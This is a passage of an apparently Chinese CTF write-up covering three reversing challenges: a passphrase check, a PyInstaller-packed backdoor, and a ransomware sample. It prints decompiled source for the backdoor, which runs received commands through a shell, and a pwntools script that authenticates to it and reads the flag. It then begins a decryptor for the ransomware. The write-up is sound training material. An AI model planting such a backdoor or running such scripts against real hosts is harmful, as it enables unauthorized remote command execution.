&lt;&#x2F;span&gt;&lt;span&gt;  v7 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;__readfsqword(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x28&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;setbuf&lt;&#x2F;span&gt;&lt;span&gt;(_bss_start, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;LL&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  qmemcpy(s1, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;3xtr4t3rR3stR14L5_VS_hu&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;sizeof&lt;&#x2F;span&gt;&lt;span&gt;(s1));
&lt;&#x2F;span&gt;&lt;span&gt;  printstr(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;Halt! ⛔&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  printstr(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;You do not look familiar..&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  printstr(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;Tell me the secret passphrase: &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;fgets&lt;&#x2F;span&gt;&lt;span&gt;(s, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span&gt;, stdin);
&lt;&#x2F;span&gt;&lt;span&gt;  s[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;strlen&lt;&#x2F;span&gt;&lt;span&gt;(s) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;strcpy&lt;&#x2F;span&gt;&lt;span&gt;(v5, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;m4n5&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;( &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;strcmp&lt;&#x2F;span&gt;&lt;span&gt;(s1, s) )
&lt;&#x2F;span&gt;&lt;span&gt;  {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt;s);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\x1B&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;[32m&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;Sorry for suspecting you, please transfer this important message to the chief: CHTB{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, s);
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else
&lt;&#x2F;span&gt;&lt;span&gt;  {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\x1B&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;[31m&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    printstr(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;unk_C17);
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;flag为&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#383838;color:#e6e1dc;&quot;&gt;&lt;code&gt;&lt;span&gt;CHTB{3xtr4t3rR3stR14L5_VS_hum4n5}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;backdoor&quot;&gt;Backdoor&lt;&#x2F;h2&gt;
&lt;p&gt;这题是PyInstaller逆向详细步骤可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;Mayfly-nymph&#x2F;p&#x2F;13237019.html&quot;&gt;这篇博客&lt;&#x2F;a&gt;。注意一定要全部在linux环境内运行。按照博客里的步骤可以得到一个python文件，内容如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# uncompyle6 version 3.7.4
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# Python bytecode 3.8 (3413)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# Decompiled from: Python 3.8.6 (default, Jan 27 2021, 15:42:20) 
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# [GCC 10.2.0]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# Embedded file name: bd.py
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# Compiled at: 2021-04-19 14:55:54
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# Size of source mod 2**32: 4035 bytes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;socket
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;hashlib &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;md5
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;subprocess &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;check_output
&lt;&#x2F;span&gt;&lt;span&gt;sock &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;socket.socket()
&lt;&#x2F;span&gt;&lt;span&gt;sock.setsockopt(socket.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;SOL_SOCKET&lt;&#x2F;span&gt;&lt;span&gt;, socket.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;SO_REUSEADDR&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;sock.bind((&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;0.0.0.0&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4433&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;sock.listen(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    client, addr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;sock.accept()
&lt;&#x2F;span&gt;&lt;span&gt;    data &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;client.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(data) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        client.close()
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;elif &lt;&#x2F;span&gt;&lt;span&gt;data.decode() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span&gt;md5(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;s4v3_th3_w0rld&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).hexdigest():
&lt;&#x2F;span&gt;&lt;span&gt;        client.send(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Invalid&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        client.close()
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        size &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;client.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        command &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;client.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;.from_bytes(size, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;little&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if not &lt;&#x2F;span&gt;&lt;span&gt;command.startswith(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;command:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;            client.close()
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            command &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;command.replace(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;command:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;            output &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;check_output(command, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;shell&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;            client.send(output)
&lt;&#x2F;span&gt;&lt;span&gt;            client.close()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# okay decompiling bd.pyc
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;exp如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.tubes.remote &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;hashlib &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;md5
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;138.68.132.86&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;31269&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;p.send(md5(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;s4v3_th3_w0rld&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).hexdigest())
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;sendCommand&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    p.send(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(c)]))
&lt;&#x2F;span&gt;&lt;span&gt;    p.send(c)
&lt;&#x2F;span&gt;&lt;span&gt;sendCommand(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;command:cat flag.txt&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;p.interactive()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# CHTB{b4ckd00r5_4r3_d4nG3r0u5}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;alienware&quot;&gt;Alienware&lt;&#x2F;h2&gt;
&lt;p&gt;这是一道病毒分析。动调进入&lt;code&gt;encryptFiles&lt;&#x2F;code&gt;函数可以分析得出该病毒会对&lt;code&gt;%USERPROFILE%\Docs&lt;&#x2F;code&gt;内的文件进行加密，我们随意创建一个文件，让它加密。&lt;&#x2F;p&gt;
&lt;p&gt;进入加密函数中，可以发现是通过调用&lt;code&gt;Wincrypt.h&lt;&#x2F;code&gt;的接口进行加密，可以直接抄一遍，把加密函数改成解密函数即可。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;windows.h&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Wincrypt.h&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;stdio.h&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;unsigned char&lt;&#x2F;span&gt;&lt;span&gt; key[] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x2F&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x6B&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x18&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x9A&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x33&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xD9&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC7&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00
&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;	HCRYPTPROV cryptrov;
&lt;&#x2F;span&gt;&lt;span&gt;	CryptAcquireContextW(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;cryptrov, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xF0000000&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;	HCRYPTHASH sha256;
&lt;&#x2F;span&gt;&lt;span&gt;	CryptCreateHash(cryptrov, CALG_SHA_256, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;sha256);
&lt;&#x2F;span&gt;&lt;span&gt;	CryptHashData(sha256, key, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;	HCRYPTKEY hkey;
&lt;&#x2F;span&gt;&lt;span&gt;	CryptDeriveKey(cryptrov, CALG_AES_128, sha256, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;hkey);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;	FILE&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; fp_in , &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;fp_out;
&lt;&#x2F;span&gt;&lt;span&gt;	fopen_s(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;fp_out,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;D:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;Downloads&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;Confidential.pdf&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;wb+&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;	fopen_s(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;fp_in,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;D:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;Downloads&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;Confidential.pdf.alien&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;rb&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;DWORD&lt;&#x2F;span&gt;&lt;span&gt; l &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x30&lt;&#x2F;span&gt;&lt;span&gt;;
